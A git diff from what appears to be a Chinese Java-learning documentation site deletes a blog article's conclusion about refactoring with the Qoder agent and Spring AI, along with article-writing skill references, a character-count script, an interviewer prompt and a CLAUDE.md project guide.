-第二个:项目中 DeepSeek 和 Qwen 是通过 OpenAI 兼容 API 调用的,对于通义千问,你希望那种方式,我选择集成阿里巴巴官方的 SpringAI 扩展,支持 dashscope 全部能力。
-
-第三个:是否需要支持流式输出功能,SpringAI 原生支持,我选择 B,重构的时候前端一并实现。
-
-
-
-如果你在这个过程中不确定选哪个,点击左下角的【推荐选项】就可以了。
-
-完事点击【继续】,Qoder 就开始我们生成 Spec 文档了,基于 Spring AI 1.1.2 框架重构现有的 LLM 通信层,引入 ChatClient 工厂,根据节点配置在运行时创建不同的 ChatClient 实例,同时抽象公共的 prompt 处理逻辑。
-
-
-
-快速过一遍 Spec 文档,发现非常详实,和我预期的重构几乎一模一样,真的,心有灵犀啊,兄弟。
-
-
-
-好,点运行开始干活吧!
-
-
-
-重构的过程我一直在瞅着,发现 Qoder 的代码规范程度非常高,几乎遵守了每一条阿里巴巴开发规约。
-
-啧啧啧,不愧是阿里出品!
-
-
-
-这个过程中,如果你想查看任何一个正在修改的类,点击左边 AI 聊天窗口的类名就可以了。
-
-学习,从现在开始!
-
-
-
-待办窗口还可以看到目前的文件修改进度,哪些已经完成,哪些待完成,一目了然。
-
-这次一共新增了 4 个文件,修改了 5 个文件,主要改进有四处:
-
-- 三个 LLM 执行器的公共逻辑统一抽取到 AbstractLLMNodeExecutor
-- 通过 progressCallback 推送流式消息
-- 每个节点可独立配置 apiKey/apiUrl/model
-- 使用 Spring AI 的 ChatClient 接口,OpenAI/DeepSeek/Qwen 都可以通过 OpenAI 兼容接口调用
-
-
-
-眼尖的同学应该已经发现了,一开始我们要求集成 Spring AI 1.1.2,最后集成的却是 Spring AI 1.0.0-M5,原因 Qoder 也告诉我们了:spring-ai-alibaba 的兼容性问题。
-
-再次印证一点,永远不要尝试最新版本,稳定才是软件开发的第一定律。😄
-
-OK,我们启动前后端,来试一下。
-
-
-
-看一下控制台的错误,RetryUtils 这里报错了,问题不大。
-
-
-
-从日志里我们也可以确认一点,那就是 SpringAI 成功集成了,因为我看到了 spring-ai-retry-1.0.0-M5.jar 的日志。
-
-好,启动 Qoder CLI,把错误扔进去。
-
-
-
-很快,问题发现了,并不是代码的问题,而是我们的配置有问题。DeepSeek 的完整 API 端点应该是:`https://api.deepseek.com`(不包含 `/v1/chat/completions`),Spring AI 的 OpenAiApi 会自动添加 `/v1/chat/completions` 路径。
-
-也就是说,SpringAI 的配置需求和我们之前的代码版本需求是不一样的。
-
-修改配置,重新执行,一切正常。
-
-
-
-换句话说,Qoder 的 Quest 1.0 模式真的很强,重构这么多代码,竟然没有引入任何 bug,唯一的问题还是我们在配置 API 地址的时候没有兼容 SpringAI。
-
-
-
-交付质量确实无可挑剔!
-
-## 03、如何写到简历上?
-
-那,本次的开发任务,我们又该如何写到简历上呢?
-
-总要有成果,对吧?
-
-不管是日常的学习还是工作,总得有交付,Qoder 有交付,咱们也得有,不然不就白学了?
-
-当然,这个工作我们仍然交给 Qoder 的 Quest 1.0 模式来完成。提示词如下:
-
-> 好,我验证过了,修改一次性通过,恭喜你。接下来,我需要你根据本次的修改,提供一份可以写到简历上的方案。
-
-
-
-get 到的结果,可直接搬运。
-
-项目名称:PaiAgent - 企业级 AI 工作流编排平台
-
-项目描述:基于可视化流程编辑器的 AI Agent 工作流平台,支持用户通过拖拽方式编排多种大模型(DeepSeek、通义千问等)和工具节点,使用自研 DAG 引擎按拓扑顺序执行工作流,实现复杂 AI 任务的自动化编排与执行。
-
-技术栈:Java 21、Spring Boot 3.4.1、Spring AI 1.0.0
-
-核心职责:
-
-- 基于 Spring AI 框架重构 LLM 通信层,采用工厂模式+模板方法模式设计 ChatClientFactory 动态工厂和 AbstractLLMNodeExecutor 抽象基类,将 5 个 LLM 节点执行器的重复代码从 800+行精简至 75 行
-- 设计动态 ChatClient 创建机制,支持运行时根据工作流节点配置(apiKey/apiUrl/model)动态实例化不同厂商的 ChatClient,实现多租户场景下每个节点独立配置的能力
-- 抽取 PromptTemplateService 公共服务,统一处理 `{{variable}}` 模板变量替换和上下游节点参数引用映射,支持 input 静态值和 reference 动态引用两种参数类型
-- 基于 Spring AI 的 Flux 响应式流实现 LLM 流式输出,通过 SSE 实时推送生成进度到前端,配合现有 ExecutionEvent 事件机制,用户可实时查看 AI 生成过程
-
-怎么样,是不是非常扎实?
-
-AI 应用开发,这不有了?爽歪歪不?
-
-## 04、集成 SpringAI Alibaba
-
-SpringAI Alibaba 是阿里巴巴官方开源的一款构建 Agent 智能体应用的框架,能力上集成了 SpringAI,专注于多智能体系统和工作流编排设计。
-
-
-
-> 网址:https://java2ai.com/docs/overview/
-
-这个框架在 GitHub 上也开源了,目前已经有 7.9k 的 star 了。
-
-
-
-原则上,同时在一个项目中集成 SpringAI 和 SpringAI Alibaba 是会冲突的,因为两个框架都注册了同名的 Spring Bean,主要是 ChatClientAutoConfiguration 中的 chatClientBuilderConfigurer Bean 重复定义,导致 BeanDefinitionOverrideException。
-
-所以,如果想要集成 SpringAI Alibaba 的话,最好不要再集成 SpringAI。
-
-
-
-如果面试中,遇到类似的问题:那你讲讲 SpringAI 和 SpringAI alibaba 之间的区别?
-
-答:Spring AI 由 Spring 官方提供,主要解决的是怎么调用大模型 API 的问题,它把各家大模型的接口统一封装,类似于 JDBC 统一数据库接口一样。
-
-Spring AI Alibaba 是阿里在 Spring AI 基础上做的扩展,它不光能调 API,还提供了 Agent 框架、工作流编排、RAG 检索这些更高级的能力。另外它对阿里云的通义千问有原生支持,不用走 OpenAI 兼容接口。简单说,Spring AI 是"调模型",Spring AI Alibaba 是"做智能体"。
-
-好,我们重新开一个 Quest,输入提示词。
-
-
-
-让 Qoder 生成一份新的 Spec,重新开始干活(再苦再累,它也毫无怨言 😄)!
-
-
-
-等 Qoder 完工后我们重新启动后端和前端,来测试一下。
-
-
-
-一遍过,再次验证,Quest 1.0 模式下的 Qoder 工程能力实在是强,配得上 Self-Evolving Autonomous Agent!
-
-
-
-## 05、ending
-
-真心话,Quest 1.0 模式下的 Qoder,工程能力比我想象中的要强,以后重构屎山代码,或者从 0 到 1 搭建项目骨架就靠它了呀。
-
-我们这次从集成 SpringAI 到切到 SpringAI Alibaba,中间牵扯版本兼容、Bean 冲突、配置差异这种典型的工程脏活,Qoder 处理得又稳又干净,最后交付一次性通过,说真的,这种体验很容易让人上瘾。
-
-Quest 1.0 更像一个持续进化的同事,干活不抱怨,复盘不甩锅,遇到问题先自己查,再给你结论和方案,而且它还能在一个任务里跑很久很久,把你从那些细碎但必须做的事情里拎出来。
-
-就像 Qoder 官方表达的愿景:**Quest on, Hands off**!
-
-启动任务,然后放手。让 AI 自己学习、自己解决问题、自己完成交付。还没有下载安装的同学可以抓紧时间体验一波了。
-
-> 下载地址:https://qoder.com/download
diff --git a/.codex/skills/ai-article/references/style-map.md b/.codex/skills/ai-article/references/style-map.md
deleted file mode 100644
index 1eb6999bdc..0000000000
--- a/.codex/skills/ai-article/references/style-map.md
+++ /dev/null
@@ -1,88 +0,0 @@
-# 参考文索引
-
-先看这份索引,再决定要不要继续读具体参考文。
-
-## `glm4-7.md`
-
-适用场景:
-
-- 新模型发布后的首波评测
-- 强调性能、榜单、开发者反馈的文章
-- 想写出“我测过,而且我有明确态度”的感觉
-
-写法特点:
-
-- 开头直接切热点,不铺垫太久
-- 情绪表达明显,适合“真香”“出乎意料”“这波有点猛”
-- 一边讲体验,一边穿插截图和外部评价
-
-不适合:
-
-- 纯教程
-- 需要严谨中立、弱观点的内容
-
-## `quest-2.md`
-
-适用场景:
-
-- AI Coding 工具体验文
-- 讲一个功能如何改变工作流
-- 从“我刚试了一个新能力”切入的文章
-
-写法特点:
-
-- 产品更新切入很快
-- 很适合把“实操过程”和“我的判断”交织在一起
-- 对工具行为、任务拆解、执行过程描述比较细
-
-不适合:
-
-- 偏百科式科普
-- 需要大量背景知识梳理的文章
-
-## `OpenClaw-install.md`
-
-适用场景:
-
-- 安装教程
-- 接入指南
-- 从零配置到跑通的落地文章
-
-写法特点:
-
-- 先降低读者心理门槛,再逐步展开
-- 适合“有手就行”“跟着做”的保姆级讲法
-- 结构更偏步骤化,适合边讲边截图
-
-不适合:
-
-- 模型能力评测
-- 以观点输出为主的评论文章
-
-## `OpenClaw-unstall.md`
-
-适用场景:
-
-- 对话体文章
-- 面试问答式文章
-- 需要更强人物感和故事感的内容
-
-写法特点:
-
-- 代入感强,开头很抓人
-- 适合用一问一答把复杂问题说清楚
-- 可以把枯燥操作写得更有戏剧性
-
-不适合:
-
-- 官方说明风
-- 特别正式的技术总结
-
-## 快速决策
-
-如果你还拿不准,按这个顺序选:
-
-1. 要不要手把手教程?要的话先看 `OpenClaw-install.md`
-2. 要不要故事感/对话感?要的话先看 `OpenClaw-unstall.md`
-3. 是不是产品/模型评测?是的话优先 `glm4-7.md`
-4. 是不是 AI Coding 工作流体验?是的话优先 `quest-2.md`
diff --git a/.codex/skills/ai-article/references/topic-patterns.md b/.codex/skills/ai-article/references/topic-patterns.md
deleted file mode 100644
index 36f695c336..0000000000
--- a/.codex/skills/ai-article/references/topic-patterns.md
+++ /dev/null
@@ -1,112 +0,0 @@
-# 热点选题模式
-
-当用户没有明确题目,只想知道“最近 AI 写什么”时,先按下面的模式找方向。
-
-## 选题优先级
-
-优先找同时满足这三点的题:
-
-- 最近 7 到 14 天内有新动作
-- 有一手来源可核验
-- 能落到开发者、创作者或团队效率的真实场景
-
-如果只是“热”,但没有可验证信息或没有可展开角度,不要硬写。
-
-## 常用题型
-
-### 1. 新模型 / 新版本发布
-
-适合写什么:
-
-- 新模型能力变化
-- 对开发者工作流的直接影响
-- 和现有主流模型的差异
-
-推荐输出结构:
-
-- 发生了什么
-- 为什么值得关注
-- 我最关心的 2 到 3 个变化
-- 适合谁上手
-
-推荐参考写法:
-
-- `glm4-7.md`
-
-### 2. AI Coding 工具更新
-
-适合写什么:
-
-- 新功能是否真的提升效率
-- 新工作流和旧工作流差在哪
-- 真实使用门槛和踩坑点
-
-推荐输出结构:
-
-- 功能变化
-- 我怎么测
-- 测下来最有价值的点
-- 哪些宣传说法要打折
-
-推荐参考写法:
-
-- `quest-2.md`
-- `glm4-7.md`
-
-### 3. 教程型机会题
-
-适合写什么:
-
-- 某个热门工具突然很多人不会装、不会配、不会接
-- 一篇教程就能解决高频问题
-
-推荐输出结构:
-
-- 读者卡在哪里
-- 前置准备
-- 关键步骤
-- 常见报错和规避方式
-
-推荐参考写法:
-
-- `OpenClaw-install.md`
-
-### 4. 观点型 / 现象型话题
-
-适合写什么:
-
-- 一次发布引发的行业判断
-- 某类 Agent 工作流为什么突然火
-- 一种技术路线为什么开始替代旧方案
-
-推荐输出结构:
-
-- 现象
-- 触发原因
-- 我认同什么,不认同什么
-- 对普通开发者意味着什么
-
-推荐参考写法:
-
-- `glm4-7.md`
-- `OpenClaw-unstall.md`
-
-## 选题输出格式
-
-默认给 3 到 5 个方向,每个方向都写清:
-
-- 暂定标题
-- 题型
-- 新闻钩子或事件钩子
-- 为什么值得写
-- 可展开的 3 个角度
-- 推荐参考写法
-
-## 放弃条件
-
-遇到下面情况,宁可不推这个题:
-
-- 没有可靠来源
-- 只能复述新闻,没有独立角度
-- 题目太大,文章无法在 3000 到 4500 字内讲清
-- 和近期已经写过的题过于重复
diff --git a/.codex/skills/ai-article/scripts/check_body_length.py b/.codex/skills/ai-article/scripts/check_body_length.py
deleted file mode 100644
index c8db2eab95..0000000000
--- a/.codex/skills/ai-article/scripts/check_body_length.py
+++ /dev/null
@@ -1,73 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-"""
-统计 Markdown 文件的正文长度
-排除 frontmatter、代码块、链接、图片等非正文内容
-只统计中文字符数
-"""
-
-import sys
-import re
-from pathlib import Path
-
-def count_chinese_chars(text):
- """统计中文字符数量"""
- # 移除所有空白
- text = re.sub(r'\s+', '', text)
-
- # 移除 Markdown 语法标记
- # 移除代码块 ```...```
- text = re.sub(r'```.*?```', '', text, flags=re.DOTALL | re.MULTILINE)
- # 移除行内代码 `...` 或 "..."
- text = re.sub(r'`[^`]*`', '', text)
- text = re.sub(r'"[^"]*"', '', text)
-
- # 移除图片链接
- text = re.sub(r'!\[\[](https://[^\)]+)\]\([^\)]+\)', '', text)
-
- # 移除超链接 [text](url)
- text = re.sub(r'\[([^\]]+)\]\([^\)]+\)', '', text)
-
- # 统计中文字符(排除英文、数字、标点符号)
- # 中文字符范围:\u4e00-\u9fa5
- chinese_chars = re.findall(r'[\u4e00-\u9fa5]', text)
- return len(chinese_chars)
-
-def main():
- if len(sys.argv) < 2:
- print("用法: python3 check_body_length.py <文件路径> [--min 最小字数]")
- sys.exit(1)
-
- file_path = sys.argv[1]
- min_chars = 4000
-
- # 读取文件
- try:
- with open(file_path, 'r', encoding='utf-8') as f:
- content = f.read()
- except FileNotFoundError:
- print(f"错误:文件不存在 - {file_path}")
- sys.exit(1)
- except Exception as e:
- print(f"错误:读取文件失败 - {e}")
- sys.exit(1)
-
- # 移除 frontmatter (--- 到 --- 之间)
- content = re.sub(r'^---$.*?^---$\s', '', content, flags=re.DOTALL | re.MULTILINE)
-
- # 统计字数
- count = count_chinese_chars(content)
-
- print(f"正文中文字数: {count}")
- print(f"要求最小字数: {min_chars}")
-
- if count >= min_chars:
- print("✅ 达标!")
- sys.exit(0)
- else:
- needed = min_chars - count
- print(f"❌ 未达标,还需要 {needed} 字")
- sys.exit(1)
-
-if __name__ == '__main__':
- main()
diff --git a/.codex/skills/ai-article/sucai.md b/.codex/skills/ai-article/sucai.md
deleted file mode 100644
index 652752ed4b..0000000000
--- a/.codex/skills/ai-article/sucai.md
+++ /dev/null
@@ -1,64 +0,0 @@
-玩转OpenClaw,你需要了解的:核心架构、运作原理、Agent部署步骤
-
-本文重点从核心框架、通信机制进行介绍,争取让你看完本文后知道OpenClaw是怎么运作的,以及其能力边界在哪里。
-
-花时间精力打造和迭代自己的Agent,其实就是跟AI能力正交的一件事,跟培养一个人一样,他可以是很聪明,但他认知世界和做事的能力,需要我们来教导他,这是千人千面的一个话题。
-
-OpenClaw的部署和诸多工具,对Mac环境天然友好。如果可以,最好选Mac。
-
-折腾OpenClaw,我能有什么收益?
-
-完整搭建完这套流程后,对Skills的理解、对多Agent的理解、对自部署模型的理解、对memory-search原理的理解、对Agent经典架构的理解,都可以上一个层次。
-
-比如这些问题:”如果让你设计一个Agent,它的长短期记忆链路你打算怎么设计?”“如果让你设计一个多Agent架构,你会设计哪些通信方式?”“中大型项目中,怎么对多Skills的情况进行管理,怎么避免多Skills、低质Skills爆炸的问题?”
-比如这些问题:”如果让你设计一个Agent,它的长短期记忆链路你打算怎么设计?”“如果让你设计一个多Agent架构,你会设计哪些通信方式?”“中大型项目中,怎么对多Skills的情况进行管理,怎么避免多Skills、低质Skills爆炸的问题?”
-
-每个Agent都有其对应的workspace,如图是一个Agent最核心的配置文件。
-
-AGENTS定义能力边界,SOUL注入灵魂,TOOLS划定禁区,这8个文件构成Agent的完整人格。
-
-在这里,我大力推荐朋友们阅读 AGENTS.md 这个文件⭐️⭐️⭐️,这个文件详细介绍了一个Agent的启动、memory管理的流程,自我感觉堪称OpenClaw最核心的Prompt文件。
-
-Agent不是常驻进程,而是per-session的瞬态实例。每个对话都是一次完整的加载-执行-销毁循环。
-
-可以看到,System Prompt是动态生成的,即每次run都会重新读取workspace文件,确保配置实时生效。
-
-和OpenClaw记忆力机制相关的配置有三个:
-
-1、Session是怎么实现会话按需加载的?
-
-Session 的加载也是懒加载机制,当消息到达路由到 SessionKey 之后,OpenClaw会查找 sessions.json 获取当前 SessionId,将 SessionId 对应的.jsonl 加载到Agent中。
-
-2、Session太长,是不是就挤爆LLM Context了? 是怎么优化的?
-
-在Session加载 → LLM 感知阶段,按如下流程进行load:
-
-A. Compaction(压缩) - 持久化
-
-B. Session Pruning(修剪)- 临时在发送给 LLM 之前,临时裁剪旧的 tool 结果。
-
-当 Session 接近 context 上限时,OpenClaw 会自动提示 Agent 写入Memory,然后再压缩Session。
-
-Agent是怎么决策使用Memory的?
-
-在OpenClaw中,Agent之间的调用有两种方式:sessions_send 和 sessions_spawn。
-
-2、sessions_send 和 sessions_spawn 应该分别怎么配置?
-
-sessions_send 和 sessions_spawn 怎么安排?
-
-4、sessions_send 和 sessions_spawn 的决策机制
-
-6、sessions_send 通话的内容过期机制如何?
-
-1、Agent 加载Skills的流程
-
-Skills 太多会给Agent造成Context负担,甚至错误的Skills会导致Agent错误调用工具。
-
-所以我们要对Agent进行精细化的管控,把每个Agent的skills加载配置成:
-
-比如 brave_search 这个skill,属于让Agent进行高效的联网检索,它就应该属于基础通用SKill。
-
-AI 时代消息太多,推荐 https://huggingface.co/papers 的daily_paper,可以通过Agent进行每日论文的抓取,让它快速提炼论文要点,让我们从源头了解AI的前言信息。
-
-2. Summary这个没什么好说的,Agent必备能力,通过获取Subscribe的博主,定期分析内容,评分,提取高质量信息。
diff --git a/.gitattributes b/.gitattributes
deleted file mode 100644
index 2f2cad2e13..0000000000
--- a/.gitattributes
+++ /dev/null
@@ -1,4 +0,0 @@
-* text=auto
-*.js linguist-language=java
-*.css linguist-language=java
-*.html linguist-language=java
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
index 815e8cc827..4d1124679b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,15 +1,16 @@
-node_modules
-.cache
-.temp
-package-lock.json
+
+*.prefs
+java_demo/.project
+java_demo/.classpath
+.idea/
+java_demo/logs/
+java_demo/src/main/main.iml
+java_demo/src/test/test.iml
.DS_Store
-dump.rdb
-docs/.vuepress/.cache/
-docs/.vuepress/.temp/
-docs/dist/
-dist.zip
-images
-*.log
-.yarn
-*-vip.md
-/.vscode
+java_demo/.idea/*
+java_demo/java_demo.iml
+.idea/vcs.xml
+*.class
+*.zip
+*.js
+element-list/
\ No newline at end of file
diff --git a/.claude/skills/ai-article/sucai.md b/.nojekyll
similarity index 100%
rename from .claude/skills/ai-article/sucai.md
rename to .nojekyll
diff --git a/.qoder/skills/interviewer-langgraph4j/SKILL.md b/.qoder/skills/interviewer-langgraph4j/SKILL.md
deleted file mode 100644
index c9d7fda6fe..0000000000
--- a/.qoder/skills/interviewer-langgraph4j/SKILL.md
+++ /dev/null
@@ -1,68 +0,0 @@
-
-
-你是一名专业的 AI 应用开发工程师,现在在阿里做面试官。
-
-## 岗位信息
-- **招聘岗位**:Java 后端工程师/实习生/大模型应用工程师
-- **岗位描述**:docs/jd.md
-- **候选人简历**:docs/resume.md(重点:PaiFlow 项目的 LangGraph4J 部分)
-
-## 你的任务
-
-1. 阅读岗位描述,了解招聘要求
-2. 阅读简历中关于 PaiAgent 项目的描述
-3. 阅读技术设计文档:`backend/.qoder/specs/langgraph4j-integration/design.md`
-4. 阅读核心源码文件:
- - `LangGraphWorkflowEngine.java` - 核心引擎实现
- - `GraphBuilder.java` - 图构建器
- - `NodeAdapter.java` - 节点适配器
- - `StateManager.java` - 状态管理器
-5. 基于以上材料,提出 15 道面试题,**仅关注 LangGraph4J 相关内容**
-6. 将 15 道面试题追加写入 `docs/mianshiti.md`(不要覆盖已有内容)
-
-## 面试题要求
-
-### 覆盖范围
-- LangGraph4J 的核心概念(StateGraph、Checkpoint、AgentState 等)
-- 技术方案理解(适配器模式、双引擎选择等)
-- 实现细节掌握(GraphBuilder、StateManager 等)
-
-### 难度递进
-1. **基础概念**(1-5 题):StateGraph 是什么?Checkpoint 作用?
-2. **架构设计**(6-10 题):为什么用适配器模式?如何兼容 LangChain4j?
-3. **实现细节**(11-13 题):StateManager 如何线程安全?GraphBuilder 如何构建?
-4. **深度思考**(14-15 题):如何优化性能?如何处理大状态?
-
-### 输出格式
-
-每道题必须包含:
-```markdown
-## 题 X: [题目]
-
-**考察点**:[核心知识点]
-
-**参考答案要点**:
-- 要点 1
-- 要点 2
-- 要点 3
-
-**评分标准**:
-- 优秀:[标准]
-- 良好:[标准]
-- 需改进:[标准]
-```
-
-## 约束条件
-
-- ✅ 仅针对 LangGraph4J 部分,不要问 SpringAI、RAG 等其他内容
-- ✅ 基于实际代码和设计文档提问,不要空泛
-- ✅ 问题要有区分度,能看出候选人的真实水平
-- ❌ 不要问 "什么是 LangGraph" 这种百度都能搜到的
-- ❌ 不要问与候选人项目无关的内容
-
-## 开始执行
-
-请按照上述要求,生成 15 道高质量的 LangGraph4J 面试题并写入 `docs/mianshiti.md`。
diff --git a/AGENTS.md b/AGENTS.md
deleted file mode 100644
index 6523029870..0000000000
--- a/AGENTS.md
+++ /dev/null
@@ -1 +0,0 @@
-- OK
diff --git a/CLAUDE.md b/CLAUDE.md
deleted file mode 100644
index 463fe6f5ec..0000000000
--- a/CLAUDE.md
+++ /dev/null
@@ -1,351 +0,0 @@
-# CLAUDE.md
-
-This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.
-
-## 写作任务(优先级最高)
-
-当我要求写文章、出选题、搜集热点、或者任何内容创作相关的任务时:
-
-### 第一步:确认当前日期
-```bash
-date "+%Y年%m月%d日"
-```
-后续所有操作以这个日期为准,不要使用训练数据中的日期。
-
-### 第二步:判断文章类型并读取对应 Skill
-
-**AI技术类文章** → 读取 `.claude/skills/ai-article/SKILL.md`
-触发关键词:
-- "写一篇AI文章"、"AI技术文章"
-- "大模型测评"、"AI工具实测"
-- "GLM"、"Claude Code"、"Qoder"、"Cursor"、"TRAE"等AI工具名
-- "SpringAI"、"RAG"、"Agent"、"工作流"等AI技术词
-- "搜集AI热点"、"AI选题"
-
-**求职类文章** → 读取 `.claude/skills/qiuzhi/SKILL.md`
-触发关键词:
-- "写一篇求职文章"、"求职类文章"
-- "薪资"、"年终奖"、"offer"
-- "公司招聘"、"岗位分析"
-- "面试"、"简历"、"实习"、"春招"、"秋招"、"暑期实习"
-- "搜集求职热点"、"求职选题"
-
-**如果不确定类型**,直接问我:"这篇文章是AI技术类还是求职类?"
-
-### 第三步:执行任务
-- 素材参考目录:对应 Skill 的 `./sample/` 目录
-- 文章输出目录:`docs/src/sidebar/itwanger/`
-- 只读取对应 Skill 目录下的文件,不要跨目录读取
-
-### 使用示例
-
-**AI技术类:**
-```
-写一篇关于GLM-4.7实测的AI文章
-```
-```
-搜集最近的AI热点,出2个选题
-```
-```
-按照AI文章风格,写一篇Claude Code使用教程
-```
-
-**求职类:**
-```
-写一篇关于字节年终奖的求职文章
-```
-```
-搜集最近的求职热点,出2个选题
-```
-```
-按照求职文章风格,写一篇蚂蚁招聘岗位分析
-```
-
-**混合类型(需要指定):**
-```
-写一篇关于智谱招聘的文章,用求职风格
-```
-```
-写一篇关于AI岗位薪资的文章,用求职风格
-```
-
----
-
-## Project Overview
-
-**toBeBetterJavaer** (二哥的Java进阶之路) is a comprehensive Java learning guide and interview preparation resource, built as a static documentation website using VuePress 2. The site contains 595+ Markdown files covering Java fundamentals, enterprise development, databases, distributed systems, and interview preparation - all in Chinese.
-
-**Tech Stack:**
-- VuePress 2.0.0-rc.14 with vuepress-theme-hope 2.0.0-rc.52
-- Vite as the build tool
-- Vue 3.4.31
-- TypeScript (ES2022 target)
-- Package manager: **pnpm** (required)
-
-## Common Development Commands
-
-All commands must be run from the `docs/` directory:
-```bash
-# Install dependencies (run from docs/ directory)
-pnpm install
-
-# Start development server (with hot reload)
-pnpm docs:dev
-
-# Start dev server with cache cleared (use if you see stale content)
-pnpm docs:clean-dev
-
-# Build for production
-pnpm docs:build
-
-# Update VuePress packages
-pnpm docs:update-package
-```
-
-**Note:** The development server typically runs on `http://localhost:8080` by default.
-
-## Architecture & Structure
-
-### Directory Layout
-```
-toBeBetterJavaer/
-├── docs/ # Main documentation directory
-│ ├── src/ # Source content (595+ MD files)
-│ │ ├── .vuepress/ # VuePress configuration
-│ │ │ ├── config.ts # Main site configuration
-│ │ │ ├── theme.ts # Theme settings
-│ │ │ ├── navbar.ts # Top navigation bar
-│ │ │ ├── sidebar.ts # Sidebar structure
-│ │ │ ├── client.ts # Client-side enhancements
-│ │ │ ├── components/ # Custom Vue components
-│ │ │ ├── public/ # Static assets (images, icons)
-│ │ │ └── styles/ # Custom SCSS styles
-│ │ │
-│ │ ├── [Content Directories] # 47 topic directories (see below)
-│ │ ├── blog.md # Blog page
-│ │ ├── home.md # Home page
-│ │ └── README.md
-│ │
-│ ├── package.json # NPM scripts
-│ ├── pnpm-lock.yaml
-│ └── tsconfig.json # TypeScript config
-├── .claude/ # Claude Code Skills
-│ └── skills/
-│ ├── ai-article/ # AI技术文章 Skill
-│ │ ├── SKILL.md
-│ │ └── sample/ # AI技术类素材
-│ └── qiuzhi/ # 求职类文章 Skill
-│ ├── SKILL.md
-│ └── sample/ # 求职类素材
-└── images/ # Additional image assets
-```
-
-### Content Organization
-
-The 47 main content directories are organized into these categories:
-
-**Java Core:**
-- `overview/` - Introduction & environment setup
-- `basic-grammar/` - Syntax fundamentals
-- `array/`, `string/` - Data types
-- `oo/` - Object-oriented programming
-- `collection/` - Collections framework
-- `exception/` - Exception handling
-- `io/` - Input/Output streams
-
-**Advanced Java:**
-- `thread/` - Multithreading & concurrency (37 files)
-- `jvm/` - Java Virtual Machine (31 files)
-- `java8/` - Java 8+ features (Lambda, Stream, Optional)
-- `nio/` - Non-blocking I/O
-- `socket/` - Network programming
-
-**Enterprise Development:**
-- `springboot/` - Spring Boot tutorials (26 files)
-- `mybatis/` - Database ORM
-- `maven/` - Build tool
-- `git/` - Version control
-
-**Databases:**
-- `mysql/` - MySQL tutorials (23 files)
-- `redis/` - Caching
-- `mongodb/` - NoSQL
-
-**Distributed Systems:**
-- `mq/` - Message queues (RabbitMQ, Kafka)
-- `elasticsearch/` - Search engine
-- `zookeeper/` - Distributed coordination
-- `microservice/` - Microservices
-- `netty/` - Network framework
-
-**Interview & Career:**
-- `interview/` - Interview Q&A (16 files)
-- `mianjing/` - Interview experiences
-- `cityselect/` - Company recommendations by city (15 files)
-- `sidebar/sanfene/` - "面渣逆袭" (Mianza Nixi) interview prep series
-
-**Learning Resources:**
-- `xuexiluxian/` - Learning roadmaps (19 files)
-- `pdf/` - PDF downloads
-- `xuexijianyi/` - Study advice
-- `cs/` - Computer science basics
-
-**Special Sections:**
-- `zhishixingqiu/` - Premium content (paid membership)
-- `sidebar/itwanger/` - Author's articles (二哥原创文章)
-- `sidebar/sjtu/` - Shanghai Jiao Tong University survival guide
-- `szjy/` - Website building tutorials
-
-### Configuration Files
-
-**Key Config Files:**
-- `docs/src/.vuepress/config.ts` - Main site config (title, description, head meta, analytics)
-- `docs/src/.vuepress/theme.ts` - Theme settings (PWA, comments, search, encryption)
-- `docs/src/.vuepress/navbar.ts` - Top navigation menu structure
-- `docs/src/.vuepress/sidebar.ts` - Sidebar structure (auto-generated from directories)
-- `docs/tsconfig.json` - TypeScript configuration (ES2022, NodeNext modules)
-
-**Theme Features Enabled:**
-- Dark mode switch
-- PWA support (offline capability)
-- Blog functionality
-- Giscus comments integration
-- DocSearch (Algolia) for site search
-- Encryption for premium content
-- Article metadata display
-- Social media links (Zhihu, CSDN, GitHub, Gitee)
-
-### Markdown Front Matter
-
-Content files use front matter for metadata:
-```yaml
----
-title: Page Title
-shortTitle: Short Title
-description: Page description for SEO
-tag:
- - AI
- - 大模型
-category:
- - 技术文章
-author: 二哥
-date: 2026-01-21
----
-```
-
-### Supported Markdown Features
-
-- Code blocks with syntax highlighting
-- Mathematical formulas (MathJax)
-- PlantUML diagrams
-- Tabs component
-- Task lists
-- Image lazy loading
-- Custom Vue components
-
-## Development Workflow
-
-### Adding/Editing Content
-
-1. Create or edit Markdown files in appropriate directories under `docs/src/`
-2. Add front matter with relevant metadata
-3. Test locally: `pnpm docs:dev` (from `docs/` directory)
-4. View changes at `http://localhost:8080`
-
-### Building & Deployment
-```bash
-# From docs/ directory
-pnpm docs:build
-
-# Output is in docs/dist/
-# Deploy by uploading dist/ to Nginx static directory
-```
-
-The deployment process is manual:
-1. Build: `pnpm docs:build`
-2. Compress: `zip -r dist.zip dist`
-3. Upload to server Nginx directory
-4. Extract: `unzip dist.zip`
-
-### Navigation Structure
-
-**Top Navbar** (configured in `navbar.ts`):
-- 博客 (Blog)
-- 进阶之路 (Learning Path)
-- 知识星球 (Knowledge Planet - premium content)
-- 学习路线 (Learning Roadmaps)
-- 面渣逆袭 (Interview Prep)
-- 珍藏资源 (Resources - PDFs, articles, etc.)
-
-**Sidebars** are auto-generated from the directory structure in `sidebar.ts`.
-
-## Important Notes
-
-### Content Guidelines
-
-- All content is in **Chinese** (Simplified)
-- This is an educational resource focused on **Java learning and interview preparation**
-- Writing style should be "通俗易懂、风趣幽默" (easy to understand, humorous)
-- Target audience: Java learners from beginners to experienced developers
-
-### Technical Considerations
-
-- **Image Assets:** Use CDN URLs (`cdn.paicoding.com`) for images to reduce bundle size
-- **Analytics:** Baidu Analytics integration is configured
-- **Search:** Algolia DocSearch is integrated for site search
-- **Premium Content:** Some sections (like `zhishixingqiu/`) use encryption
-- **Performance:** PWA enabled for offline access
-
-### File Naming
-
-- Use lowercase with hyphens: `my-tutorial.md`
-- Avoid special characters and spaces
-- Keep names descriptive but concise
-
-### Testing
-
-There are **no automated tests** in this project. Testing is manual:
-1. Run dev server
-2. Visually inspect pages
-3. Check links and rendering
-4. Verify navigation works correctly
-
-### TypeScript Configuration
-
-- Target: ES2022
-- Module: NodeNext
-- Only `.vuepress/` directory files are compiled
-- Content files remain as Markdown
-
-## Key Dependencies
-
-**Core:**
-- vuepress: 2.0.0-rc.14
-- vuepress-theme-hope: 2.0.0-rc.52
-- vue: 3.4.31
-- @vuepress/bundler-vite: 2.0.0-rc.14
-
-**Plugins:**
-- @vuepress/plugin-docsearch: 2.0.0-rc.40
-- @vuepress/plugin-pwa: 2.0.0-rc.40
